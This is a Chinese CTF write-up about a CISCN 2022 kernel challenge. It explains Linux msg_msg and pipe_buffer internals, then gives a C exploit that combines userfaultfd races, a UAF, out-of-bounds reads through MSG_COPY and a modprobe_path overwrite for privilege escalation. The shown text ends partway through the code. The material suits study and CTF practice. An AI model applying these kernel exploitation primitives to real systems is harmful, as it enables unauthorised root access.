从ciscn 2022半决赛赛题:浅析msg_msg结构体
2023-4-27 18:6:7 Author: 看雪学苑(查看原文) 阅读量:12 收藏

本文为看雪论坛优秀文章
看雪论坛作者ID:Loτυs
2022 ciscn实践赛西南赛区半决赛只有两道pwn,一道简单vm栈溢出,还有一道1解kernel。因为题目没有泄露函数,所以我依赖msg_msg构造越界读&任意写的原语,同时借助pipe_buffer完成内核地址泄露。
 
笔者对msg源码进行了浅要的剖析,有基础or对源码不感兴趣的读者可自行选择跳过。


消息队列是Linux的一种通信机制,这种通信机制传递的数据具有某种结构,而不是简单的字节流。消息队列的本质其实是一个内核提供的链表,内核基于这个链表,实现了一个数据结构。可以通过消息队列实现进程间通信等。

结构体

/include/linux/msg.h中有关于msg_msg结构体的定义:
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
其中list_head为双向链表结构体,储存nextprev指针:
struct list_head {
struct list_head *next, *prev;
};
ipc/msgutil.c中有对msg_msgseg的定义,还有申请msg_msg结构体的函数:
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
可以看到msg_msgseg就是一个嵌套的结构体指针。

源码分析

msgget

int msgget(key_t key, int msgflag)
其中参数含义:
调用msgget函数会创建新的消息队列,或者获取已有的消息队列,若创建新的消息队列,会创建一个msg_queue结构体当消息队列msg_msg双向循环链表的起始节点。
 
需要注意的是后续若某进程调用msgsnd函数对消息队列进行写操作,需要该进程有写权限;同理msgrcv需要有读权限。这是由msgget函数中的第二个参数中的权限控制符所决定的。

msgsnd

int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg)
引自Roland师傅的图:(概括性的,若读者不想看我对源码的分析可以直接参考这个表)
 
 
调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,会建立msg_msg结构体。

①申请结构体内存&&链表link&&数据拷贝

查看实现msgsnd系统调用的do_msgsnd函数部分源码:
  • 定义了msg_queue作为msg_msg队列的链表头。

  • 调用了load_msg函数对msg进行了初始化。

static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;

msg = load_msg(mtext, msgsz);

...........

查看load_msg函数:
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

调用了alloc_msg函数分配空间,同时将用户数据拷贝到内核msg_msg队列中。
 
再查看alloc_msg函数:
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

从该函数源码我们可以知道:
msg_msg结构体有储存自身信息的header,大小为0x30。msg_msg结构体只能申请最大为PAGE_SIZE-header_size(也就是0x1000-0x30)。
若消息length大于DATALEN_MSG,则会将剩下的内容储存在msg_msgseg中,同理多余length也不可超过DATALEN_SEG,但是msg_msgsegheader没有msg_msg那么复杂,只有一个next指针,剩余数据全用来储存data
若多余length超过DATALEN_SEG,则继续分配msg_msgseg结构体。
通俗点来说,msg_msgmsg_msgseg结构体最大size均不能超过page_size
msg_msg超过了会分配msg_msgseg帮它分担。
msg_msgseg超过了会继续分配msg_msgseg
最后单个msg_msg消息会形成如下的单向链表结构:
 
 
msg_msg之间则是用list_head来链接,形成的是以msg_queue为首节点的双向循环链表结构,大致如下:
 
 申请msg_msg的调用链:
do_msgsnd-->load_msg-->alloc_msg

msgrcv

ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,int msgflg)
同样引自Roland师傅的图:(进行了一点小更正)
 
 
msgrcv系统调用能从消息队列上接受指定大小的消息,并且选择性(是否)释放msg_msg结构体。
 
具体实现源码在/ipc/msg.cdo_msgrcv中。

①通过find_msg定位

static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
struct msg_msg *msg, *found = NULL;
long count = 0;

list_for_each_entry(msg, &msq->q_messages, m_list)
{
if (testmsg(msg, *msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq->q_perm, msg, current,
*msgtyp, mode))
{
if (mode == SEARCH_LESSEQUAL && msg->m_type != 1)
{
*msgtyp = msg->m_type - 1;
found = msg;
}
else if (mode == SEARCH_NUMBER)
{
if (*msgtyp == count)
return msg;
}
else
return msg;
count++;
}
}

return found ?: ERR_PTR(-EAGAIN);
}

该函数中源码中使用了内核源码中常见的一个宏定义:list_for_each_entry。该宏定义可以理解为一个for循环。
 
它实际上是一个 for 循环,利用传入的 pos 作为循环变量,从表头 head 开始,逐项向后(next 方向)移动 pos,直至又回head。
 
该循环遍历了msg_queue为首节点的双向循环链表,也就是遍历了所有msg_msg队列的头节点。
 
然后调用testmsg,根据mode和传入的msgtyp来筛选:
static int testmsg(struct msg_msg *msg, long type, int mode)
{
switch (mode) {
case SEARCH_ANY:
case SEARCH_NUMBER:
return 1;
case SEARCH_LESSEQUAL:
if (msg->m_type <= type)
return 1;
break;
case SEARCH_EQUAL:
if (msg->m_type == type)
return 1;
break;
case SEARCH_NOTEQUAL:
if (msg->m_type != type)
return 1;
break;
}
return 0;
}
其中modeconvert_mode决定:
static inline int convert_mode(long *msgtyp, int msgflg)
{
if (msgflg & MSG_COPY)
return SEARCH_NUMBER;
/*
* find message of correct type.
* msgtyp = 0 => get first.
* msgtyp > 0 => get first message of matching type.
* msgtyp < 0 => get message with least type must be < abs(msgtype).
*/
if (*msgtyp == 0)
return SEARCH_ANY;
if (*msgtyp < 0) {
if (*msgtyp == LONG_MIN) /* -LONG_MIN is undefined */
*msgtyp = LONG_MAX;
else
*msgtyp = -*msgtyp;
return SEARCH_LESSEQUAL;
}
if (msgflg & MSG_EXCEPT)
return SEARCH_NOTEQUAL;
return SEARCH_EQUAL;
}
综合起来,可以看到用户是通过控制msgtyp来控制do_msg_rcv拷贝/取得 哪条队列信息:
特例:MSG_COPY位为1的时候,modeSEARCH-NUMBER,在find_msg中会返回msg_msg双向循环链表中,第msgtypmsg_msg,也就是返回第msgtyp条消息,而不是上述表格中根据msgtyp去和msg->m_type进行匹配。

②链表unlink&&释放结构体

/ipc/msg.cdo_msgrcv
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
...........
...........
list_del(&msg->m_list);
...........
...........
free_msg(msg);

return bufsz;

内核首先会调用list_del()将其从msg_queue的双向链表上 unlink,之后再调用free_msg()释放msg_msg单向链表上的所有消息。

③内核-->用户态的消息拷贝

do_msg_rcv函数最后,调用了msg_handler,看参数像是进行内核-->用户的数据拷贝。
bufsz = msg_handler(buf, msg, bufsz);
其中msg_handlerdo_msgrcv传进来的参数,是一个函数指针,向上看调用do_msgrcv的调用链:
long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
long msgtyp, int msgflg)
{
return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}
可知msg_handler具体函数指针为do_msg_fill
static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
struct msgbuf __user *msgp = dest;
size_t msgsz;

if (put_user(msg->m_type, &msgp->mtype))
return -EFAULT;

msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
if (store_msg(msgp->mtext, msg, msgsz))
return -EFAULT;
return msgsz;
}

其中调用store_msg进行数据拷贝:
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;

alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))
return -1;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}

可以看到拷贝过程和之前msg_msg结构内存申请相对应:
  • 若拷贝数据总长度小于DATALEN_MSG,则直接拷贝后结束。

  • 若拷贝数据总长度小于DATALEN_MSG,则继续拷贝msg_msg单向链表后面的msg_msgseg结构体内容,直到拷贝结束。

ps:拷贝结束的标志均为seg->next指针为NULL
 
拷贝的总长度则由msgsz决定,而msgsz
msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
可以看到若bufsz足够的情况下,拷贝数据总长度是由msg->m_ts决定的。

④特例:MSG_COPY

not unlink
需要注意的是,若我们带有MSG_COPY标志,则不会在双向链表上unlink,只会进行copy操作,具体实现在do_msgrcv中部分源码:
 
若有MSG_COPY标志,源码注释:If we are copying, then do not unlink message and do not update queue parameters.
 
不会调用list_del()去进行unlink,并且最后free_msg()释放的是我们在内核中copy出来的堆块。也就是说,我们可以通过设置MSG_COPY多次读取一条消息。
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;
}

msgtyp意义转变
通过find_msg定位一节已经讲过:
 
MSG_COPY位为1的时候,modeSEARCH-NUMBER,在find_msg中会返回msg_msg双向循环链表中,第msgtypmsg_msg,也就是返回第msgtyp条消息,而不是上述表格中根据msgtyp去和msg->m_type进行匹配。
msgsz检测
由于MSG_COPY位为1的时候,内核会调用prepare_copy再申请一块内存出来。
static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
struct msg_msg *copy;

/*
* Create dummy message to copy real message to.
*/
copy = load_msg(buf, bufsz);
if (!IS_ERR(copy))
copy->m_ts = bufsz;
return copy;

申请内存大小为我们传入do_msgrcvbufsz
 
两个msg_msg之间的拷贝则由copy_msg负责,而在copy_msg函数中有一段代码如下:
if (src->m_ts > dst->m_ts)
return ERR_PTR(-EINVAL);
若源src->m_ts大于目标dst->m_ts,则会发生溢出,因此会直接返回不会拷贝。
 
同时copy_msg函数末尾还有赋值操作:
dst->m_ts = src->m_ts
因此我们要满足的条件是src->m_ts<=dst->m_ts即可。
 
bufsz>=src->m_ts

具体利用

1、地址泄露

经过对源码的阅读和分析,可以想到我们可以做到的事情:
 
(1)改掉msg_msg->m_ts
 
可以读取最多一页的内存,实现越界读。
① 若单项链表只有msg_msg,则可以读取该msg_msg附近的数据(最多将近一页内存)。
② 若单向链表中含有msg_msgseg,则可以读取单向链表尾节点msg_msgseg中附近的数据(最多将近一页内存)。
(2)改掉msg_msg->m_tsmsg_msg->m_list中的next指针。
 
可以利用堆喷其他结构体+msg_msg越界读,获得一些堆地址 or 内核地址。
 
可以堆喷一些一些消息队列,每个消息队列上只有一条消息:即msg->queue双向循环链表里只有一个节点:
 
可以通过某个msg_msg的越界读,有几率读到其他消息队列的msg_msgm_list字段,而我们构造每条消息队列上只有一条消息。
 
,泄露其m_list,即为msg_queue的地址。泄露完之后,继续伪造msg_msg->next字段可泄露整个该消息队列中每个结构体的地址。
 
可以实现任意地址读。
 
但是需要注意的是,我们需要伪造我们需要读的地址target的next指针为NULL,不然在store_msg进行数据拷贝的时候,是以NULL指针为结束判断条件,因此我们需要满足target->next==NULLortarget->next->next==NULL,反正需要我们伪造的任意读链表存在一个NULL节点,且中途不能到达不可读地址,否则会造成kernel panic。

2、任意地址写

do_msgsnd函数中调用了load_msg进行用户到内核的数据拷贝,若我们利用userfault机制暂停一个线程,再在另一个线程中篡改掉msg->next指针,则可以实现任意地址写。
 
模板采用的arttnba3师傅的模板:
struct list_head {
uint64_t next;
uint64_t prev;
};

struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg {
uint64_t next;
};

struct msgbuf {
long mtype;
char mtext[0];
};

int getMsgQueue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}


前言

pipe是Linux系统跨进程通信的一种方式。管道是连接一个读进程和一个写进程,以实现它们之间通信的共享文件。基于pipe族系统调用实现(而非open())。而这个文件不是真正的文件,向管道文件读写数据其实是在读写内核缓冲区
#include <unistd.h>
int pipe(int pipefd[2]);
pipe() 创建一个管道,一个可用于进程间通信的单向数据通道。 数组 pipefd 用于返回两个指向管道末端的文件描述符。 pipefd[0] 是管道的读端fd。 pipefd[1] 是管道的写端fd。 写端把数据写入管道,直到读端读取数据。
 
管道不需要open,但需要close释放。

结构体

定义在/include/linux/pipe_fs_i.h中:
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
size为0x30。

源码分析

①申请内存:alloc_pipe_info

struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);

pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if (pipe == NULL)
goto out_free_uid;

if (pipe_bufs * PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))
pipe_bufs = max_size >> PAGE_SHIFT;

user_bufs = account_pipe_buffers(user, 0, pipe_bufs);

if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
user_bufs = account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);
pipe_bufs = PIPE_MIN_DEF_BUFFERS;
}

if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
goto out_revert_acct;

pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);

if (pipe->bufs) {
init_waitqueue_head(&pipe->rd_wait);
init_waitqueue_head(&pipe->wr_wait);
pipe->r_counter = pipe->w_counter = 1;
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
pipe->nr_accounted = pipe_bufs;
pipe->user = user;
mutex_init(&pipe->mutex);
return pipe;
}

out_revert_acct:
(void) account_pipe_buffers(user, pipe_bufs, 0);
kfree(pipe);
out_free_uid:
free_uid(user);
return NULL;
}

在建立管道时,内核首先会申请一个pipe_inode_info结构体,然后在其pipe_inode_info->buf字段申请pipe_buffer结构体:
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
其中PIPE_DEF_BUFFERS=16;因此会申请0x10*0x30(size of pipe_buffer)的内存,也就是会从kmalloc-1k中取。

②函数表:pipe_buf_operations

struct pipe_buf_operations {
/*
* ->confirm() verifies that the data in the pipe buffer is there
* and that the contents are good. If the pages in the pipe belong
* to a file system, we may need to wait for IO completion in this
* hook. Returns 0 for good, or a negative error value in case of
* error. If not present all pages are considered good.
*/
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

/*
* Attempt to take ownership of the pipe buffer and its contents.
* ->try_steal() returns %true for success, in which case the contents
* of the pipe (the buf->page) is locked and now completely owned by the
* caller. The page may then be transferred to a different mapping, the
* most often used case is insertion into different file address space
* cache.
*/
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

/*
* Get a reference to the pipe buffer.
*/
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

主要关注其release指针,在我们关闭一个管道的两端之后,管道会被释放,同样pipe_buffer也会被释放。调用的是函数表中的release指针。调用路径为:free_pipe_info->pipe_buf_release。

具体利用

①地址泄露

pipe_buffer中的*pipe_buf_operations成员能泄露内核基地址。
 
PS:需要注意的是,利用pipe系统调用后需要调用一次写管道才能对函数表进行初始化:
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
...
...
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
...
...

②劫持控制流

覆写pipe_buffer->pipe_buf_operations->release为某些栈迁移指针。将rsi-->rsp


题目开启了KPTI,SMAP,SMEP等正常保护。
 
内核版本:
/ $ uname -a
Linux (none) 5.10.102 #2 SMP Sun Mar 27 17:29:07 CST 2022 x86_64 GNU/Linux
5.11内核版本开始,就禁止非特权用户使用userfaultfd了。所以这道题是userfaultfd版本最后的荣光 (bushi。

代码审计

①一些无法利用的漏洞点

kernel_release函数中存在指针未清零的情况:
int __fastcall kernel_release(inode *inode, file *filp)
{
char **v2; // rax
int result; // eax

_fentry__();
v2 = addrList;
do
*v2++ = 0LL;
while ( v2 != &addrList[32] );
kfree(buffer, filp);
result = 0;
flags = 0;
return result;
}

但是kernel_open函数判断了flag字段:
void kernel_open()
{
__int64 v0; // rdi

_fentry__();
if ( !flags )
{
v0 = kmalloc_caches[8];
flags = 1;
buffer = (char *)kmem_cache_alloc_trace(v0, 0xCC0LL, 0x100LL);
if ( buffer )
kernel_open_cold();
}
}

因此我们无法调用两次kernel_open后利用kernel_release的指针悬挂,来造成0x100 size的一个object的UAF。
 
但是由于kernel_readkernel_writekernel_openkernel_release均未加锁,且readwrite中含有类似于如下的copy_to_user操作:
if ( copy_to_user(a2, v4, v5) )
return -2LL;
因此我们可以考虑使用userfaultfd卡住当前进程,在另外一个线程中调用kernel_release。这样同样可以达到一个0x100 size的UAF。
 
所以笔者是考虑用这个简单的洞来泄露内核基址,用的是0x100 size对应的timerfd_ctx结构体。
 
不过笔者用这种方法无论如何都无法泄露出内核基址,后来咨询arttnba3师傅后得知:
 
内核调用fput对文件描述符进行释放,对于文件描述符的关闭会被delay,直到我们读取数据后才会关闭
 
 
因此靠这种操作leak内核数据是不可行的。

②漏洞点

程序除了module自身的openreleasereadwrite操作。
 
提供了简单的菜单堆功能:
  • add:两次add机会,size为0x400。

  • delete:两次delete。

  • edit:两次edit。

所有功能都未加锁,因此可以用userfaultfd在edit时将进程卡死,在另一个线程中free掉这个堆块后申请某些object到该地址上,实现0x400 size object的UAF(只能更改一次值)。

具体步骤

①leak内核基址

申请一个消息队列,上面只放一条消息,且size为0x400。同时申请一个pipe_buffer
 
改大msg_msg->m_ts,用带有MSG_COPY位的msgrcv进行越界读,泄露出pipe_buffer上的函数表。
 
得到内核基址

②提权 or 后续利用

leak内核地址分别消耗了一次add,delete,edit操作。因此我们还有一次UAF的机会。
 
笔者最先考虑的是用pipe_buffer提权,刚好满足0x400的size,因此我们利用UAF将pipe_buffer->pipe_buf_operations->release函数指针更改为某个栈迁移gadget即可。
 
但是我并没有找到可利用的gadget,其中有一条可能能达成的:
push_rsi_pop_rsp = 0xffffffff81934056;//push rsi; pop rsp; retf;
不过retf是按32位popeipcs,的,而32位根本不足以储存一个内核地址。
 
同时还有例如mov esp,esi类型的gadget,由于intel x86&x64的调用约定,当对32位寄存器进行赋值操作的时候,会将高32位寄存器值清零,因此也不可用。
 
同时注意到程序没有开启CONFIG_STATIC_USERMODEHELPER保护,因此笔者选择用UAF劫持0x400 size的freelistmodprobe_path附近,更改modprobe_path
 
笔者是申请msg_msg结构体申请到modprobe_path附近,由于size太大,会将modprobe_path附近的所有内容全部清空。
 
直接进行接下来的提权or 读取flag操作会在成功前引起kernel panic,因此我们需要恢复modprobe_path附近的函数指针。
 
其中,kmod的函数指针恢复是必要的:
 
 
因为modprobe_path是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,因此modprobe是安装某个内核模块,而kmod是一个用于控制linux内核模块的程序,因此在后续调用中需要用到
 
最后直接利用modprobe_path_hijack更改flag权限后读取即可。
 

poc

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <semaphore.h>

#define CLOSE printf("\033[0m");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define real(a) a+kernel_base-0xffffffff81000000
#define PAGE_SIZE 0X1000
#define MSG_COPY 040000

size_t fd;
size_t kernel_base;
size_t tmp_buf[0x500];
char *msg_buf;
size_t fake_ops_buf[0x100];

int ms_qid[0x100];
int pipe_fd[0x20][2];

sem_t sem_addmsg;
sem_t sem_editmsg;
sem_t edit_down;
sem_t edit_heap_next;
sem_t sem_edit_msg_for_modpath;

struct list_head {
size_t next;
size_t prev;
};

struct msg_msg {
struct list_head m_list;
size_t m_type;
size_t m_ts;
size_t next;
size_t security;
};

struct msg_msgseg {
size_t next;
};

// struct msgbuf {
// long mtype;
// char mtext[0];
// };

int getMsgQueue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void buildMsg(struct msg_msg *msg, size_t m_list_next, size_t m_list_prev,
size_t m_type, size_t m_ts, size_t next, size_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}

typedef struct delete
{
size_t idx;
}delete_arg;

typedef struct edit
{
size_t idx;
size_t size;
char *content;
}edit_arg;

typedef struct add
{
size_t idx;
char *content;
}add_arg;

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void add(char *content)
{
add_arg tmp=
{
.content = content,
};

ioctl(fd,0x20,&tmp);
}

void delete(size_t idx)
{
delete_arg tmp=
{
.idx=idx,
};

ioctl(fd,0x30,&tmp);
}

void edit(size_t idx,size_t size,char *content)
{
edit_arg tmp=
{
.idx=idx,
.size = size,
.content=content,
};

ioctl(fd,0x50,&tmp);
}

void leak(size_t *content,size_t size)
{
printf("[*]Leak: ");
for(int i=0;i<(int)(size/8);i++)
{
printf("%llx\n",content[i]);
}
}

void RegisterUserfault(void *fault_page, void* handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
size_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
ErrExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}

static char *page = NULL; // 你要拷贝进去的数据
static char *buf = NULL;
static char *buf2 = NULL;
static char *buf3 = NULL;
static long page_size;

static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
puts("[+] sleep3 handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] sleep3 handler unblocked");

sem_post(&sem_addmsg);

if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}
sem_wait(&sem_editmsg);

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memset(tmp_buf, 0, 0x50);
tmp_buf[3] = 0xd00;
memcpy(page,tmp_buf,0x50);
// strcpy(page,"Lotus_just_Test");
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] sleep3 handler done");
return NULL;
}

void UAF()
{
sem_wait(&sem_addmsg);
delete(0);
// RED puts("in"); CLOSE
int ret=0;
for (int i = 0; i < 0x1; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}

for (int i = 0; i < 0x2; i++)
{
memset(msg_buf, 'A' + i, 0X400 - 8);
ret = msgsnd(ms_qid[0], msg_buf, 0x400 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
RED puts("[*] msg_msg spraying finish."); CLOSE
sem_post(&sem_editmsg);

}

static void *
fault_handler_thread2(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
puts("[+] edit heap->next handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] edit heap->next handler unblocked");

sem_post(&edit_heap_next);

if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}

sem_wait(&edit_down);

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memcpy(page,fake_ops_buf,0x208);
// leak(page,0x208);
// strcpy(page,"Lotus_just_Test");
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);

puts("[+] edit heap->next handler down!");
return NULL;
}

void UAF2()
{
sem_wait(&edit_heap_next);
delete(0);
sem_post(&edit_down);
}

void modprobe_path_hijack(void){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\nchmod 777 /flag\n' > /tmp/Lotus.sh");

system("chmod +x /tmp/Lotus.sh");
